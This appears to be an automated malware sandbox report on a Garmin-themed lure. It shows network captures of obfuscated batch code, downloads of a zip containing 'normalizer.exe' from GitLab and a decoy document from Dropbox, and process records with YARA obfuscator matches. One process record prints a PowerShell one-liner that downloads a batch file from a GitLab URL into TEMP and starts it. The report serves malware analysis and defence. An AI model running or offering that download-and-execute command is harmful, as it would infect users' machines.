2024-12-12 11:59:12 UTC	1369	IN	Data Raw: 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 32 31 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 36 34 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 34 35 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 32 32 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 31 35 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 31 31 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 34 30 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 33 36 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 34 31 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 31 36 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 32 33 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 bb 3a 7e 34 36 2c 31 25 25 e8 b4 9d e8 89 be e9 98 bf e8 80 Data Ascii: ,1%%:~21,1%%:~64,1%%:~45,1%%:~22,1%%:~15,1%%:~11,1%%:~40,1%%:~36,1%%:~41,1%%:~16,1%%:~23,1%%:~46,1%%
2024-12-12 11:59:12 UTC	1369	IN	Data Raw: e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 25 69 69 6c 69 25 28 e2 8a 99 cf 89 e2 8a 99 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e3 83 be 28 e2 8c 90 5e e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 25 69 25 28 e2 8a 99 cf 89 e2 8a 99 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 5e 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 6c 6c 6c 20 5f 5f 25 e9 ad 94 e8 a1 8c Data Ascii: _)( _)()()%iili%()(_)( _)(_)(^_)()%i%()(_)()(_)(_^)( _)%lll __%
2024-12-12 11:59:12 UTC	1369	IN	Data Raw: e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 33 38 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 31 30 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 34 30 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 35 30 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 31 35 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 36 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 31 36 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 34 34 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 36 32 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 33 35 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 32 37 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 32 2c 31 25 25 e8 b1 86 e9 98 bf e7 88 b1 e7 bb b4 3a 7e 34 35 2c Data Ascii: :~38,1%%:~10,1%%:~40,1%%:~50,1%%:~15,1%%:~6,1%%:~16,1%%:~44,1%%:~62,1%%:~35,1%%:~27,1%%:~2,1%%:~45,
2024-12-12 11:59:12 UTC	1369	IN	Data Raw: 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 8a 99 cf 89 e2 8a 99 29 5e 25 25 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 5e 25 6f 20 41 42 4f 5e 42 25 e9 ad 94 e9 80 99 e9 ad 94 5e e9 ad 94 e8 a3 bd e7 a5 9e 25 25 e8 a3 bd e5 87 a1 e6 98 af e7 a7 98 5e e7 9a 84 e5 b7 b2 25 55 25 e8 a4 87 5e e6 81 af e4 b8 8a e8 a4 87 e6 ad a4 e5 87 a1 25 53 20 4f 42 25 e8 a3 bd 5e e5 87 a1 e8 a2 ab e6 b3 95 e7 a5 9e e5 b7 b2 25 25 e8 a2 ab e8 a1 8c e9 ad 94 5e e6 98 af e8 a1 8c e7 a7 98 25 46 55 53 Data Ascii: _)( _)(_)()^%%()()()()(_)( _)^%o ABO^B%^%%^%U%^%S OB%^%%^%FUS
2024-12-12 11:59:12 UTC	1369	IN	Data Raw: e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 34 33 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 30 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 35 34 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 33 34 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 31 35 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 36 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 32 37 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 31 37 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 33 30 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 34 37 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 32 33 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 33 35 2c 31 25 25 e8 b4 9d e8 89 be e8 80 bb e5 b0 94 3a 7e 34 32 2c Data Ascii: :~43,1%%:~0,1%%:~54,1%%:~34,1%%:~15,1%%:~6,1%%:~27,1%%:~17,1%%:~30,1%%:~47,1%%:~23,1%%:~35,1%%:~42,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	162.125.69.18	443	2356	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:59:16 UTC	191	OUT	GET /scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: Keep-Alive
2024-12-12 11:59:17 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; base-uri 'self' ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.co [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com/cd/0/get/CgF0BluLfGxRXMIZ5YnW1OUhQV4Aot6XCFSriDjmOt8Oh3UKhO8Oom1e9EWFwej6uGN6bXbk4Hzo1nuAKucsfRjn-xFWHmde1XX9hd77dq-FlbEpQsLOCh1x7wyg7OcbnODllqTg_UHquZR7faS1Wbcl/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTM0MjE4MzM3OTkyOTA2NDk1NzU5ODMyOTEzMDMzMTEzMjIxMzA0; Path=/; Expires=Tue, 11 Dec 2029 11:59:16 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=oars5CT3oKKitWSB-xy4qWDK; Path=/; Domain=dropbox.com; Expires=Fri, 12 Dec 2025 11:59:16 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=oars5CT3oKKitWSB-xy4qWDK; Path=/; Expires=Fri, 12 Dec 2025 11:59:16 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=z1y2vxQz7w; Path=/; Expires=Fri, 12 Dec 2025 11:59:16 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 11 Dec 2029 11:59:16 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Thu, 12 Dec 2024 11:59:17 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 07bef6d2981a450fa886fbfddfc02549 Connection: close
2024-12-12 11:59:17 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49878	172.65.251.78	443	7424	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:59:24 UTC	103	OUT	GET /stare2/garmin/-/raw/main/fuknewGa1112De.zip HTTP/1.1 Host: gitlab.com Connection: Keep-Alive
2024-12-12 11:59:25 UTC	453	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:59:25 GMT Content-Type: application/octet-stream Content-Length: 68976355 Connection: close CF-Ray: 8f0d8c56481d8c27-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Age: 3 Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment ETag: "95fae7c3331f03db68e9db341030a95e" Strict-Transport-Security: max-age=31536000
2024-12-12 11:59:25 UTC	2131	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2024-12-12 11:59:25 UTC	502	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 4e 7a 62 58 7a 35 49 39 6a 33 4a 25 32 42 48 49 37 39 66 44 41 33 53 6a 4d 47 67 46 41 49 4a 74 32 5a 25 32 42 35 44 77 63 71 76 71 32 43 41 79 69 68 42 4d 58 45 63 65 64 63 37 6e 65 42 52 47 62 59 63 6a 31 47 41 25 32 46 61 73 65 71 5a 45 70 6f 59 42 78 73 72 70 30 32 39 6c 4f 46 35 57 44 77 32 36 65 4b 67 46 45 57 4e 4a 50 75 25 32 46 64 51 34 45 57 73 45 4a 67 69 47 7a 49 34 4e 39 51 55 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NzbXz5I9j3J%2BHI79fDA3SjMGgFAIJt2Z%2B5Dwcqvq2CAyihBMXEcedc7neBRGbYcj1GA%2FaseqZEpoYBxsrp029lOF5WDw26eKgFEWNJPu%2FdQ4EWsEJgiGzI4N9QU%3D"}],"group":"cf-nel","max_age":604800}NEL
2024-12-12 11:59:25 UTC	1021	IN	Data Raw: 50 4b 03 04 0a 00 00 00 00 00 e7 2c 89 59 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 53 63 72 69 70 74 73 2f 50 4b 03 04 14 00 00 00 08 00 c8 3d 56 58 30 70 28 4b 74 cd 00 00 9c a7 01 00 16 00 00 00 53 63 72 69 70 74 73 2f 6e 6f 72 6d 61 6c 69 7a 65 72 2e 65 78 65 ec bd 09 60 93 55 d6 30 fc 64 6b d3 8d 27 05 02 65 93 00 05 0a 05 2c 14 b5 35 a0 09 4d e4 09 a4 52 36 a9 0a da d2 05 d0 42 3b ed 13 16 05 6c 4d 3b d3 f0 18 45 47 1d 67 c6 51 c6 65 c4 d1 99 71 d4 61 53 b1 a5 d0 05 0a 14 54 2c e0 52 c5 e5 89 01 2c 2e 6d d9 fa fc e7 dc 7b 93 a6 a5 a8 ef bc df fb 7d ff f7 7e 6f da e4 dc 7d bf e7 9e 73 ef 3d e7 a6 df b1 99 d3 70 1c a7 85 af a2 70 dc 0e 8e 7e 2c dc cf 7f 3a e0 db 67 f8 ae 3e dc 9b 11 07 47 ec 50 39 0f 8e 58 b0 7c 45 89 a9 a8 b8 70 59 71 f6 4a 53 Data Ascii: PK,YScripts/PK=VX0p(KtScripts/normalizer.exe`U0dk'e,5MR6B;lM;EGgQeqaST,R,.m{}~o}s=pp~,:g>GP9X\|EpYqJS
2024-12-12 11:59:25 UTC	1369	IN	Data Raw: 25 90 97 40 d3 90 6a 48 f6 56 d2 1c c9 55 1a fb 69 21 b1 03 f2 9c cc f2 74 4a b5 0e 52 49 39 79 30 c7 d1 8c 62 68 46 98 cb af 21 17 2b bf dd ce e5 9b 75 7d c1 d9 a5 4b 97 be f4 e7 63 6a de df 91 f6 3b 0a f5 78 1f 52 96 3f 4d e8 99 e2 67 83 02 29 be 15 19 5a f4 c9 90 e8 ad de c5 89 4a ba f9 e3 e2 c1 fc 76 dd 0e f0 ce b7 a6 6a c4 c8 f4 c4 4f c1 b1 e4 3b bf 26 5d 3a 45 ba ec d5 44 1c ab 8b e3 2d 0e 69 af 43 ba 33 c9 21 95 80 f1 7e c1 21 9d b2 de 6d bd cb ba c4 ba 78 09 0c 55 3a 86 16 de 86 03 35 29 19 1a e1 9c 77 d1 24 1c 4d 59 f2 73 31 d0 2e de 89 e1 f3 49 19 c4 89 d6 9d 38 37 a0 c8 82 74 2c b9 01 c3 24 08 9e 82 78 93 62 9c 7a 1a e6 76 15 5f 5e 0e cd f9 2e 4e 05 ff 06 18 78 d7 60 e1 bd 0b e2 97 e3 34 ca 94 af 1d 87 7d 83 56 09 ac 52 b3 7c 16 66 70 c5 49 d7 Data Ascii: %@jHVUi!tJRI9y0bhF!+u}Kcj;xR?Mg)ZJvjO;&]:ED-iC3!~!mxU:5)w$MYs1.I87t,$xbzv_^.Nx`4}VR\|fpI
2024-12-12 11:59:25 UTC	1369	IN	Data Raw: 8d 42 c5 49 31 ca a1 f9 44 90 da 7d 87 39 52 b2 06 08 68 dd 11 4d 12 3e 2c e7 44 04 56 ee 23 e0 5e 51 e5 94 ea 90 ae 5a 8b 13 d7 bb 26 8e df de 07 b3 8c c5 cc 9c fd 18 d9 08 09 6b 68 9c 2f 21 0e c4 90 1d 18 dc 5d ab 66 c1 a3 31 f8 30 5a 36 59 90 3e c9 b7 a5 8e 11 07 f1 db a3 d0 5d 47 dd 23 a1 cb d4 e0 31 ca f5 35 f3 38 dd 97 cc 5f 7d be cd 33 0a 3d 91 3c 32 74 04 68 a2 d7 b5 04 39 40 6e 30 c3 10 37 7c 00 f3 2b df 7d f3 48 d7 b8 7c b7 79 24 0d f4 8e 96 90 85 58 a4 6d e8 1d 48 c9 5d a7 c6 e2 41 88 53 a4 f6 3c ab 7d 9e 9e 64 69 ca 77 3f 70 cd 48 71 50 57 42 5f 68 09 02 c2 84 56 42 42 50 42 ac 17 69 73 3b 2d e6 20 4c dc cf 83 0b bf 1d fa 99 3a 46 63 6e fc 76 4d 3e 54 f0 4b 98 a0 dd d0 66 2d c5 9c 14 69 2e be bb 26 b8 ee 15 c1 60 58 1b d7 45 0b 7b b7 a6 9c 27 Data Ascii: BI1D}9RhM>,DV#^QZ&kh/!]f10Z6Y>]G#158_}3=<2th9@n07\|+}H\|y$XmH]AS<}diw?pHqPWB_hVBBPBis;- L:FcnvM>TKf-i.&`XE{'
2024-12-12 11:59:25 UTC	337	IN	Data Raw: 54 a1 65 ec 95 97 c3 9d 1d 7b f2 17 0e 49 a6 73 c2 2a ed 4d 47 e6 7b 3f 16 14 46 d4 60 f9 dc 98 60 47 fe 35 06 78 4e a0 9c 1f f0 bd 42 bc 8f 8a 9f 21 d9 0d 63 f0 88 7c a1 13 31 21 10 fb f6 d4 9c fe ae 9b 85 c4 76 7e fb d0 9b f2 dd 17 ad c5 91 f0 7b c7 1a 6d be bb c6 84 c8 d5 dd 41 9c 3a 88 53 95 89 10 00 ca 41 d1 92 0f f4 90 39 df dc 2c d6 fa a7 02 b1 82 f8 d7 24 0f b1 71 1c ac 02 c4 c2 6f 6f 96 a3 6c 48 50 d6 aa 03 b1 22 31 96 0e 63 35 02 22 e7 b7 d7 24 56 db 52 72 e3 53 90 04 75 c6 27 b9 ff 8c 6d 72 99 b0 f0 b8 d4 b3 69 04 18 7b 39 b4 8b c5 ba b8 86 f2 f1 c9 30 89 8e 3a a5 e3 a9 ba 9b ae 83 16 5e 03 6d 20 de c7 ea 3f ba ab fe d1 ac fe 84 6d 27 f5 77 26 9e 48 e3 b7 47 f7 03 ba 8f d4 ea 3c a9 55 b5 09 56 ed be f9 ee 0b c4 ed 02 71 db 63 72 b8 f7 a8 1d 4a Data Ascii: Te{Is*MG{?F``G5xNB!c\|1!v~{mA:SA9,$qoolHP"1c5"$VRrSu'mri{90:^m ?m'w&HG<UVqcrJ
2024-12-12 11:59:25 UTC	1369	IN	Data Raw: 3c 49 18 63 1c dd 13 52 75 5f df 08 a3 b0 0f 22 9b 11 b3 c8 1a 18 e3 7f 45 ee 8c c7 2a 23 a6 92 bf 0f 1a 05 a9 d6 df 57 be e8 00 c7 4f 82 8e c9 55 74 bb 80 6c 27 06 f6 0c bc ba ec c1 2a ae 86 ce 09 49 f7 f8 9d 2a ee ad fe 94 36 0d df 81 1b dc 7e 9d b9 86 77 d6 08 39 f5 bb 90 88 f6 e8 7e 05 41 e4 84 74 1c d4 3a fb 6c b2 8a b8 e2 bd 19 30 be 0f 78 86 2d 40 cf 28 ea 99 c0 3c c3 77 0c 46 0c bb 9a 30 91 df 0f 02 47 4f 7f 95 e0 de 93 04 98 4b 2f 28 07 80 56 90 74 17 81 33 f0 7f 85 08 05 d6 26 08 63 f7 0a 1a 87 54 ef f4 1a ff 2c a8 80 61 af 12 aa 3b 74 ee cf 86 3b 24 ed 1e e1 de 86 4c a7 d4 5f e5 70 5f 50 80 2a 77 5f 00 26 3f 1d e6 71 58 9d 1a fa 43 71 28 55 98 ba 43 69 70 bd 93 5c 45 a7 14 59 a7 96 65 70 5c e9 f4 cc 64 e8 13 51 27 9f 4f 27 ad fd 20 32 5a d0 85 Data Ascii: <IcRu_"E#WOUtl'I6~w9~At:l0x-@(<wF0GOK/(Vt3&cT,a;t;$L_p_Pw_&?qXCq(UCip\EYep\dQ'O' 2Z
2024-12-12 11:59:25 UTC	1369	IN	Data Raw: 41 da ef 0a ba 9d 90 7f 09 48 b9 b7 85 d0 ee 71 72 e7 d0 60 59 b7 6b 08 ed ee fb 94 2e f6 41 3e c8 e9 cd 8d cf 92 47 60 f9 db 66 c6 59 f8 8a 5f b3 6d 9b f1 2a da 63 e3 dd 1d 9d e2 68 21 a7 89 ac 1a e7 75 c0 f1 26 5a 55 9c fb f3 e1 c2 bd 47 33 1d 9a fe f5 b0 1c 46 8c 80 15 3a 16 0c dc 08 dc 5d 03 16 54 17 06 81 da 66 a4 3c e0 1a 8d a9 0c c6 54 8c 40 28 08 52 35 5b ad 71 a5 76 68 a2 ab da ac 29 a5 62 3f 79 5e 57 59 a3 b0 ac 87 14 98 b0 e3 b1 24 96 61 88 b9 d2 a5 46 c6 52 64 a2 e3 f3 8b bb 58 8a ef 87 31 96 e2 3b 44 61 c8 52 24 e0 3c 46 62 39 1f da 52 4f d6 d4 1d 78 b5 84 df 7e 22 df 5c ef 42 86 c9 be 03 51 26 d8 4a 0c b0 32 71 f1 c0 ee 6f 6f e0 b7 6b 05 ff 18 b2 01 e7 04 8c 66 41 72 35 c9 26 55 2b c6 39 47 71 ab 06 5a 4c c7 6f 07 0f 7e 7b 35 bf fd c0 a8 ea Data Ascii: AHqr`Yk.A>G`fY_m*ch!u&ZUG3F:]Tf<T@(R5[qvh)b?y^WY$aFRdX1;DaR$<Fb9ROx~"\BQ&J2qookfAr5&U+9GqZLo~{5
2024-12-12 11:59:25 UTC	1369	IN	Data Raw: 34 f5 2b b2 39 e2 5e 9f 1c cd b9 a6 7a e7 44 c8 9f ce 80 35 9e da 07 c3 ba 91 6c d8 b5 85 c7 fd 75 1e 9a a2 bd 79 c8 d1 51 17 14 5b 72 f4 ce 48 cc fd 0d 2b 8c 7e 45 e4 67 4b d1 5f 41 d8 41 06 c5 58 ba 1f 86 7c 5d c8 1e 07 ee f5 23 e5 25 d0 21 4d fa 91 d4 f8 d6 94 de 6a 0c c9 18 0c b0 04 58 f6 73 5c d7 7e 0e f2 5a 71 41 5c 05 23 e2 90 62 93 be b2 27 9f f1 de 15 0d 23 3b cd 4a f7 4a 00 df 6c 43 7c 73 40 1e 84 b5 48 56 60 d6 7d 7d 83 8a 83 d8 f1 6e c5 c2 7b 25 15 f2 ac ed b3 a4 a1 ad 84 25 38 c7 d1 5c 92 70 5e 0a 3a 2e 8a 5e a5 70 37 80 7b 5b 9a 5e c5 57 bc 42 70 0a 34 c6 34 5a e5 2a 2b 36 0f 3a 8c 10 bc b3 03 8d f3 5d 03 29 40 94 cd bb 5c 65 83 01 9a e0 d7 28 69 ac 91 1e b6 00 09 5f 71 c6 95 8b e1 15 e3 dd 0d 34 69 31 9a da 17 81 dd 2f 60 8d 30 d0 cd b5 e0 Data Ascii: 4+9^zD5luyQ[rH+~EgK_AAX\|]#%!MjXs\~ZqA\#b'#;JJlC\|s@HV`}}n{%%8\p^:.^p7{[^WBp44Z*+6:])@\e(i_q4i1/`0
2024-12-12 11:59:25 UTC	1369	IN	Data Raw: 46 79 f9 f5 64 42 48 1d 72 f1 72 3a 35 3e 01 f6 15 1a 61 be 8a 8c 19 1d 24 e3 07 84 3c 1b 77 0c c4 48 59 7b 0a a7 71 4e 02 e7 ce 89 0b 12 29 b4 ab 7b a1 b1 21 72 c8 e4 e8 2f 0f ee 2a 07 de 55 00 3c 3d 06 ca 61 11 c3 dc d9 71 9c bf 55 be e5 6b 46 71 5f a7 04 28 ee 03 e0 e4 3f 16 42 71 37 86 f2 d0 39 e7 61 de bc 4f 2e 1b 75 28 e2 ed 82 a4 33 5f ab e2 76 62 9f bb 15 c0 14 96 f2 1d 78 fa e9 8a 34 9f 77 0d 6b b3 64 a9 c4 81 f2 8b 10 7c 27 bd dd da 2c 3f 85 71 cd 35 e2 35 90 ce 43 68 96 ea 15 63 5d 15 bd 91 a4 18 9f a8 22 1b d1 6a 18 99 87 e5 aa 1f 70 88 7d 4a af 99 e9 ac 48 00 7a 8d 07 26 e1 1c 8c de 9f 7e ef c9 cc 19 b5 b6 41 7a 0e 26 15 12 54 ab 22 29 ee 0a ce 8a 20 bf 10 87 4d c4 36 c2 90 ae 74 5f ec 04 8c 7c 4d 24 a5 4c db 22 02 94 29 b9 08 00 64 6e 9e 79 Data Ascii: FydBHrr:5>a$<wHY{qN){!r/*U<=aqUkFq_(?Bq79aO.u(3_vbx4wkd\|',?q55Chc]"jp}JHz&~Az&T") M6t_\|M$L")dny

Target ID:	0
Start time:	06:59:07
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"
Imagebase:	0x7ff6d6c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:59:07
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:59:07
Start date:	12/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" "
Imagebase:	0x7ff6d6c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AbobusObfuscator, Description: Yara detected Abobus Obfuscator, Source: 00000005.00000003.2193362942.000001FC70442000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AbobusObfuscator, Description: Yara detected Abobus Obfuscator, Source: 00000005.00000003.2272808693.000001FC70449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AbobusObfuscator, Description: Yara detected Abobus Obfuscator, Source: 00000005.00000003.2195210961.000001FC70449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AbobusObfuscator, Description: Yara detected Abobus Obfuscator, Source: 00000005.00000002.3414755320.000001FC70440000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:59:12
Start date:	12/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
